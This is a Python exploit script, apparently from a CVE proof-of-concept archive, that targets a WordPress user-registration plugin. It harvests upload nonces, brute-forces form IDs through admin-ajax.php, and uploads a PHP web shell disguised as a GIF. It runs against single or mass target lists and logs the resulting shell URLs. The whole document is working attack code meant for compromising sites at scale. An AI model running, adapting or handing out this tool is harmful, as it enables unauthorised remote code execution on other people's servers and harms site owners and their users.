5465 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / shadow.py PY
#!/usr/bin/env python3
"""
╔══════════════════════════════════════════════════╗
║   CVE-2026-4882 — Full Auto Exploit             ║
║   User Registration Advanced Fields <= 1.6.20    ║
║   by: Shadow x Friska 😈🔥                      ║
╚══════════════════════════════════════════════════╝

Usage:
  python3 shadow.py -u https://target.com -s shadow.php
  python3 shadow.py -f targets.txt -s shadow.php -t 30
"""

import re
import sys
import os
import argparse
import warnings
import requests
import threading
from urllib.parse import urljoin, urlparse
from concurrent.futures import ThreadPoolExecutor, as_completed

warnings.filterwarnings("ignore")
requests.packages.urllib3.disable_warnings()

BANNER = """
╔══════════════════════════════════════════════════╗
║   CVE-2026-4882 — Full Auto Exploit             ║
║   User Registration Advanced Fields <= 1.6.20    ║
║   by: Shadow x Friska 😈🔥                      ║
╚══════════════════════════════════════════════════╝
"""

HEADERS = {
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36",
    "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
    "Accept-Language": "en-US,en;q=0.9",
    "Accept-Encoding": "gzip, deflate",
    "Connection": "keep-alive",
}

stop_event = threading.Event()

# Priority paths — ordered by likelihood, deduplicated
PRIORITY_PATHS = [
    "/registration/", "/register/", "/signup/", "/sign-up/",
    "/my-account/", "/account/", "/",
    "/login/", "/join/", "/member/",
    "/create-account/", "/user-registration/",
    "/registrazione/", "/registrierung/", "/inscription/", "/registro/",
    "/daftar/", "/belepes/", "/masuk/",
    "/wp-login.php?action=register",
]

print_lock = threading.Lock()
file_lock = threading.Lock()


def log(icon, msg):
    with print_lock:
        print(f"  {icon} {msg}")


def extract_from_html(html):
    """Extract nonce + form_id from HTML"""
    nonce = None
    m = re.search(r'uraf_profile_picture_upload_nonce["\']:\s*["\']([a-f0-9]+)', html)
    if m:
        nonce = m.group(1)
    fids = re.findall(r'data-form-id=["\']?(\d+)', html)
    has_pp = bool(re.search(r'profile-pic-upload|uraf-profile-picture|profile_pic_url', html, re.I))
    return nonce, list(set(fids)), has_pp


def scan_pages(session, target, paths, timeout=10, verbose=False):
    """Scan list of paths, collect nonce + form_id. Stops when both found."""
    nonce = None
    form_ids = []
    has_pp = False
    source = None
    total = len(paths)

    for i, path in enumerate(paths, 1):
        if stop_event.is_set():
            break
        url = f"{target}{path}" if path.startswith("/") else f"{target}/{path}"
        if verbose:
            print(f"\r  ⏳ [{i}/{total}] {path:<40}", end="", flush=True)
        try:
            r = session.get(url, timeout=timeout, allow_redirects=True)
            if r.status_code != 200:
                continue

            n, fids, pp = extract_from_html(r.text)

            if n and not nonce:
                nonce = n
                source = url
                if verbose:
                    print(f"\r  🔑 Nonce found at {path}                              ")

            if fids:
                for fid in fids:
                    if fid not in form_ids:
                        form_ids.append(fid)
                        if verbose:
                            print(f"\r  🎯 Form ID {fid} at {path}                           ")

            if pp:
                has_pp = True

            if nonce and form_ids:
                break

        except Exception:
            continue

    if verbose:
        print(f"\r  ✅ Scanned {total} paths                                    ")
    return nonce, form_ids, has_pp, source


def crawl_extra_paths(session, target, timeout=10):
    """Crawl homepage + sitemap for paths not in PRIORITY_PATHS"""
    parsed = urlparse(target)
    paths = set()

    try:
        r = session.get(f"{target}/", timeout=timeout, allow_redirects=True)
        if r.status_code == 200:
            hrefs = re.findall(r'href=["\']([^"\'#]+)', r.text)
            for href in hrefs:
                full = urljoin(target, href)
                p = urlparse(full)
                if p.netloc == parsed.netloc and not re.search(r'\.(css|js|png|jpg|gif|svg|woff|ico|pdf)$', p.path, re.I):
                    paths.add(p.path.rstrip("/") + "/")
    except Exception:
        pass

    try:
        r = session.get(f"{target}/sitemap.xml", timeout=timeout)
        if r.status_code == 200:
            locs = re.findall(r'<loc>([^<]+)</loc>', r.text)
            for loc in locs[:50]:
                p = urlparse(loc)
                if p.netloc == parsed.netloc:
                    paths.add(p.path.rstrip("/") + "/")
    except Exception:
        pass

    # Remove paths already in priority list
    priority_set = set(PRIORITY_PATHS)
    return [p for p in sorted(paths) if p not in priority_set and p.rstrip("/") not in priority_set]


def fetch_nonce(session, target, timeout=10, verbose=False):
    """
    Phase 1: Find nonce + form_id
    Step 1: Priority paths (fast)
    Step 2: Crawl homepage + sitemap (fallback for custom paths)
    """
    # Step 1: Priority paths
    nonce, form_ids, has_pp, source = scan_pages(session, target, PRIORITY_PATHS, timeout, verbose)

    if nonce and form_ids:
        return {"nonce": nonce, "form_ids": form_ids, "has_pp": has_pp, "source": source}

    # Step 2: Crawl for custom paths
    if verbose:
        print("  📡 Crawling homepage + sitemap for extra paths...")
    extra = crawl_extra_paths(session, target, timeout)
    if extra:
        if verbose:
            print(f"  📡 Found {len(extra)} extra paths")
        n2, fids2, pp2, src2 = scan_pages(session, target, extra, timeout, verbose)
        if n2 and not nonce:
            nonce = n2
            source = src2
        if fids2:
            for fid in fids2:
                if fid not in form_ids:
                    form_ids.append(fid)
        if pp2:
            has_pp = True

    if nonce:
        return {"nonce": nonce, "form_ids": form_ids, "has_pp": has_pp, "source": source}
    return None


def brute_form_id(session, target, nonce, end=500, threads=20, timeout=10):
    """Brute force form_id via AJAX — stops on first hit"""
    ajax_url = f"{target}/wp-admin/admin-ajax.php"
    dummy = b'\x47\x49\x46\x38\x39\x61\x01\x00\x01\x00\x80\x00\x00\xff\xff\xff\x00\x00\x00'

    found_ids = []
    found_event = threading.Event()
    lock = threading.Lock()

    def try_id(fid):
        if found_event.is_set():
            return None
        try:
            r = session.post(
                ajax_url,
                params={"action": "uraf_profile_picture_upload_method_upload", "security": nonce},
                files={"file": ("probe.gif", dummy, "image/gif")},
                data={"form_id": str(fid), "is_snapshot": "1"},
                timeout=timeout,
            )
            txt = r.text
            if '"success":true' in txt:
                found_ids.append(fid)
                found_event.set()
                return fid
            elif '"success":false' in txt:
                msg_match = re.search(r'"message":"([^"]+)"', txt)
                if msg_match:
                    msg = msg_match.group(1).lower()
                    if 'not found' not in msg and 'invalid form' not in msg and 'no form' not in msg:
                        found_ids.append(fid)
                        found_event.set()
                        return fid
        except Exception:
            pass
        return None

    with ThreadPoolExecutor(max_workers=threads) as pool:
        futures = {pool.submit(try_id, i): i for i in range(1, end + 1)}
        for future in as_completed(futures):
            if found_event.is_set():
                for f in futures:
                    f.cancel()
                break

    return sorted(set(found_ids))


def upload_shell(session, target, nonce, form_id, shell_content, shell_name, timeout=30, verbose=False):
    """Upload shell file — retries up to 2 times"""
    url = f"{target}/wp-admin/admin-ajax.php"
    for attempt in range(2):
        try:
            r = session.post(
                url,
                params={"action": "uraf_profile_picture_upload_method_upload", "security": nonce},
                files={"file": (shell_name, shell_content, "image/gif")},
                data={"form_id": str(form_id), "is_snapshot": "1"},
                timeout=timeout,
            )
            try:
                resp = r.json()
            except Exception:
                if verbose:
                    log("⚠️", f"Upload attempt {attempt+1}: non-JSON response (HTTP {r.status_code})")
                continue

            if resp.get('success'):
                return resp.get('data', {}).get('profile_picture_url', '')
            else:
                if verbose:
                    msg = resp.get('data', {}).get('message', '') if isinstance(resp.get('data'), dict) else str(resp.get('data', ''))
                    log("⚠️", f"Upload attempt {attempt+1}: {msg or r.text[:100]}")
        except Exception as e:
            if verbose:
                log("⚠️", f"Upload attempt {attempt+1}: {str(e)[:80]}")
    return None


def resolve_target(session, target, timeout=10):
    """Follow redirects on target root → return final base URL (e.g. http→https, www→non-www)"""
    try:
        r = session.get(f"{target}/", timeout=timeout, allow_redirects=True)
        parsed = urlparse(r.url)
        return f"{parsed.scheme}://{parsed.netloc}"
    except Exception:
        return target


def exploit_single(target, shell_content, shell_name, brute_max=500, brute_threads=20, timeout=10):
    """Full exploit chain for single target — lightweight, fast"""
    target = target.rstrip("/")

    session = requests.Session()
    session.headers.update(HEADERS)
    session.verify = False

    # Auto-resolve redirects (http→https, www→non-www, etc)
    target = resolve_target(session, target, timeout)

    # Phase 1: Find nonce + form_id
    info = fetch_nonce(session, target, timeout)
    if not info:
        return None, "no_nonce"

    nonce = info["nonce"]
    form_id = info["form_ids"][0] if info["form_ids"] else None

    # Phase 2: Brute force if no form_id
    if not form_id:
        fids = brute_form_id(session, target, nonce, brute_max, brute_threads, timeout)
        if fids:
            form_id = fids[0]
        else:
            return None, "no_form_id"

    # Phase 3: Upload
    shell_url = upload_shell(session, target, nonce, form_id, shell_content, shell_name)
    if shell_url:
        return shell_url, "success"
    else:
        return None, "upload_failed"


def interactive_mode():
    """Interactive menu — no args needed"""
    print(BANNER)
    print("  ═══ Interactive Mode ═══\n")

    # 1. Target file
    while True:
        target_file = input("  📄 Target file (e.g. targets.txt): ").strip()
        if not target_file:
            print("  ❌ Cannot be empty!\n")
            continue
        if not os.path.isfile(target_file):
            print(f"  ❌ File not found: {target_file}\n")
            continue
        break

    # 2. Threads
    while True:
        t_input = input("  ⚡ Threads 1-50 (default 30): ").strip()
        if not t_input:
            threads = 30
            break
        try:
            threads = int(t_input)
            if 1 <= threads <= 50:
                break
            print("  ❌ Must be 1-50!\n")
        except ValueError:
            print("  ❌ Must be a number!\n")

    # Load targets
    targets = []
    with open(target_file, 'r') as fh:
        for line in fh:
            line = line.strip()
            if line and not line.startswith('#'):
                targets.append(line)
    targets = list(dict.fromkeys(targets))

    if not targets:
        print("  ❌ No targets found in file!")
        sys.exit(1)

    # Shell file — default shadow.php in same dir
    shell_path = os.path.join(os.path.dirname(os.path.abspath(__file__)), "shadow.php")
    if not os.path.isfile(shell_path):
        while True:
            shell_path = input("  📁 Shell file path: ").strip()
            if os.path.isfile(shell_path):
                break
            print(f"  ❌ File not found: {shell_path}\n")

    shell_name = shell_path.replace("\\", "/").split("/")[-1]
    with open(shell_path, 'rb') as f:
        shell_content = f.read()

    # Auto-prepend GIF89a polyglot header if missing
    if not shell_content.startswith(b'GIF89a'):
        shell_content = b'GIF89a\n' + shell_content

    print()
    print(f"  🎯 Targets : {len(targets)}")
    print(f"  📁 Shell   : {shell_path}")
    print(f"  ⚡ Threads : {threads}")
    print(f"  💣 Brute   : 1-500")
    print()

    return targets, shell_content, shell_name, threads, 500, 10


def main():
    # If no args → interactive mode
    if len(sys.argv) == 1:
        targets, shell_content, shell_name, threads, brute_max, timeout = interactive_mode()
    else:
        parser = argparse.ArgumentParser(description="CVE-2026-4882 Full Auto Exploit")
        parser.add_argument("-u", "--url", help="Single target URL")
        parser.add_argument("-f", "--file", help="File with target URLs (one per line)")
        parser.add_argument("-s", "--shell", required=True, help="Local shell file path")
        parser.add_argument("-b", "--brute-max", type=int, default=500, help="Max form_id (default: 500)")
        parser.add_argument("-t", "--threads", type=int, default=30, help="Parallel targets (default: 30)")
        parser.add_argument("--timeout", type=int, default=10, help="Request timeout (default: 10s)")
        args = parser.parse_args()

        if not args.url and not args.file:
            parser.error("Use -u for single target or -f for mass targets!")

        threads = min(max(args.threads, 1), 50)
        brute_max = args.brute_max
        timeout = args.timeout

        # Load targets
        targets = []
        if args.url:
            targets.append(args.url.strip())
        if args.file:
            with open(args.file, 'r') as fh:
                for line in fh:
                    line = line.strip()
                    if line and not line.startswith('#'):
                        targets.append(line)

        targets = list(dict.fromkeys(targets))

        # Read shell file once
        shell_name = args.shell.replace("\\", "/").split("/")[-1]
        with open(args.shell, 'rb') as f:
            shell_content = f.read()

        # Auto-prepend GIF89a polyglot header if missing
        if not shell_content.startswith(b'GIF89a'):
            shell_content = b'GIF89a\n' + shell_content

        print(BANNER)
        print(f"  🎯 Targets : {len(targets)}")
        print(f"  📁 Shell   : {args.shell}")
        print(f"  ⚡ Threads : {threads}")
        print(f"  💣 Brute   : 1-{brute_max}")
        print()

    uploaded = []
    stats = {"success": 0, "no_nonce": 0, "no_form_id": 0, "upload_failed": 0, "error": 0}

    def process_target(i, target):
        if stop_event.is_set():
            return

        try:
            # Shorter timeout in mass mode to avoid hanging
            shell_url, status = exploit_single(
                target, shell_content, shell_name,
                brute_max, min(threads, 20), min(timeout, 8)
            )

            with print_lock:
                tag = f"[{i}/{len(targets)}]"
                if status == "success":
                    print(f"  🩷 {tag} {target}")
                    print(f"     \033[92m→ {shell_url}\033[0m")
                    stats["success"] += 1
                elif status == "no_nonce":
                    print(f"  💀 {tag} {target} — no nonce")
                    stats["no_nonce"] += 1
                elif status == "no_form_id":
                    print(f"  ⚠️  {tag} {target} — no form_id")
                    stats["no_form_id"] += 1
                elif status == "upload_failed":
                    print(f"  ❌ {tag} {target} — upload failed")
                    stats["upload_failed"] += 1

            if shell_url:
                with file_lock:
                    uploaded.append(shell_url)
                    with open("shell.txt", "a") as f:
                        f.write(f"{shell_url}\n")

        except Exception as e:
            with print_lock:
                print(f"  💀 [{i}/{len(targets)}] {target} — {str(e)[:50]}")
                stats["error"] += 1

    # Single target = verbose, mass = compact parallel
    if len(targets) == 1:
        target = targets[0].rstrip("/")

        session = requests.Session()
        session.headers.update(HEADERS)
        session.verify = False

        # Auto-resolve redirects
        target = resolve_target(session, target, timeout)

        print(f"{'='*55}")
        print(f"  [Target 1/1] {target}")
        print(f"{'='*55}")

        print(f"\n  ═══ Phase 1: Nonce + Form ID Discovery ═══")
        info = fetch_nonce(session, target, timeout, verbose=True)

        if not info:
            log("💀", "Nonce not found! Plugin not active or WAF blocking.")
        else:
            log("🔑", f"Nonce  : {info['nonce']}")
            log("📍", f"Source : {info['source']}")

            form_id = None
            if info["form_ids"]:
                form_id = info["form_ids"][0]
                log("🎯", f"Form ID (HTML): {form_id}")
            else:
                print(f"\n  ═══ Phase 2: Form ID Brute Force ═══")
                log("💣", f"Brute forcing form_id (1-{brute_max})...")
                fids = brute_form_id(session, target, info['nonce'], brute_max, min(threads, 20), timeout)
                if fids:
                    form_id = fids[0]
                    log("🎯", f"Form ID found: {form_id}")
                else:
                    log("💀", "No valid form_id found!")

            if form_id:
                print(f"\n  ═══ Phase 3: Shell Upload ═══")
                log("📤", f"Uploading {shell_name}...")
                shell_url = upload_shell(session, target, info['nonce'], form_id, shell_content, shell_name, verbose=True)
                if shell_url:
                    uploaded.append(shell_url)
                    with open("shell.txt", "a") as fout:
                        fout.write(f"{shell_url}\n")
                    log("✅", "Upload SUCCESS!")
                    log("🌐", f"Shell: \033[92m{shell_url}\033[0m")
                    log("🩷", "EXPLOIT SUCCESS!")
                    stats["success"] = 1
                else:
                    log("❌", "Upload failed!")

    else:
        # Mass mode — parallel targets, 60s max per target
        target_timeout = 60
        with ThreadPoolExecutor(max_workers=threads) as pool:
            futures = {pool.submit(process_target, i, t): t for i, t in enumerate(targets, 1)}
            try:
                for f in as_completed(futures, timeout=target_timeout * len(targets) / threads + 30):
                    if stop_event.is_set():
                        break
            except TimeoutError:
                print("\n  ⏱️  Global timeout reached, moving on...")
            except KeyboardInterrupt:
                stop_event.set()
                print("\n\n  ❌ Stopped by user!")

    # Summary
    print(f"\n{'='*55}")
    print(f"  ═══ Final Summary ═══")
    print(f"  🎯 Total targets : {len(targets)}")
    print(f"  🩷 Success       : {stats['success']}")
    if stats["no_nonce"]:
        print(f"  💀 No nonce      : {stats['no_nonce']}")
    if stats["no_form_id"]:
        print(f"  ⚠️  No form_id    : {stats['no_form_id']}")
    if stats["upload_failed"]:
        print(f"  ❌ Upload failed  : {stats['upload_failed']}")
    if stats["error"]:
        print(f"  💀 Errors        : {stats['error']}")
    if uploaded:
        print(f"\n  📄 Saved to: shell.txt")
    print(f"{'='*55}\n")


if __name__ == "__main__":
    try:
        main()
    except KeyboardInterrupt:
        stop_event.set()
        print("\n\n  ❌ Interrupted!")
        sys.exit(1)